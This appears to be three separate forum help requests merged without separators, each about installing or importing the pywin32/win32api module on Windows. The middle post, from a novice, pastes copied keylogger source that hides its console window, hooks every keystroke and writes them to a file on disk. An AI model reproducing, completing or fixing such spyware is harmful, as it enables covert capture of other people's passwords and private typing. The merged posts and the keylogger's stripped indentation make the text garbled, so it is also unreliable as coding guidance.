The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.

What I've tried so far pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

pip install pywin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32
Collecting pywin32
  Could not find a version that satisfies the requirement pywin32 (from versions: )
No matching distribution found for pywin32

Several specific versions like pip install pywin32==226:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226
Collecting pywin32==226
  Could not find a version that satisfies the requirement pywin32==226 (from versions: )
No matching distribution found for pywin32==226

and pip install pypiwin32==220:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220
Collecting pypiwin32==220
  Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223)
No matching distribution found for pypiwin32==220

Even some shot-in-the-dark kind of attempts like pip install win32api:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api
Collecting win32api
  Could not find a version that satisfies the requirement win32api (from versions: )
No matching distribution found for win32api

and python -m pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32
Collecting pypiwin32
  Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3-
none-any.whl
Collecting pywin32>=223 (from pypiwin32)
  Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: )
No matching distribution found for pywin32>=223 (from pypiwin32)

I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?

Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Shamelessly used from another site. But when I try to run it this error comes up.

line 3, in <module>

import win32api

ModuleNotFoundError: No module named 'win32api'

To start off, I am very new to Python and have never installed modules before because up until now I've just been using the standard libraries (math, time, etc.).

So I'm looking into controlling the mouse cursor with Python (for a bot in a game) and come across this thread on Stackoverflow. The top answer there tells me to get a module called pywin32 from here. So I download the latest version (build 218, according to the readme file) and I download the appropriate EXE. Here is my Python info: Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32, so I download this version: pywin32-218.win32-py3.4.exe. After running it, and it telling me that it has installed successfully I try to test it out by using one of the example in that previous Stackoverflow thread (Which I think just makes your cursor move in a circle...?):

import win32api
import time
import math

for i in range(500):
    x = int(500+math.sin(math.pi*i/100)*500)
    y = int(500+math.cos(i)*100)
    win32api.SetCursorPos((x,y))
    time.sleep(.01)

However, when running this, I get this error:

Traceback (most recent call last):
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 1, in <module>
    import win32api
  File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 8, in <module>
    win32api.SetCursorPos((x,y))
AttributeError: 'module' object has no attribute 'SetCursorPos'

So with this, I assume it wasn't installed correctly (even though if I just run import win32api I get no error).

I've also tried to check if it is importing correctly using this:

import win32api

print(dir(win32api))
help(win32api)

Which outputs to this:

['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'win32api']
Help on module win32api:

NAME
    win32api

FILE
    c:\users\matthew\documents\programming\python\mouse_control\win32api.py

So I found this thread on Stackoverflow, and in the second answer it says I can install through console, so I try this (in command prompt):

C:\Python34\Scripts>pip install pypiwin32
Requirement already satisfied (use --upgrade to upgrade): pypiwin32 in c:\python
34\lib\site-packages

C:\Python34\Scripts>pip install pypiwin32 --upgrade
Requirement already up-to-date: pypiwin32 in c:\python34\lib\site-packages

But as you can see it says that everyone is installed correctly.

So my question is, how do I get the win32api module to actually work, and import into my program successfully?

Thanks so much for any answers, sorry for the long(ish) post, just wanted to get all the information in there because I've been at this for about two hours, and no amount of searching on Reddit, Google, or Stackoverflow could help me, apparently. If you need more info I'd be happy to provide it!

EDIT: I'm running 64bit Windows 8.1, if it matters.

EDIT 2: Thanks to u/mm_ma_ma I found the solution, which was very simple and a blunder on my part. The file name was the same as win32api, changing it fixed the solution. Thanks so much, guys!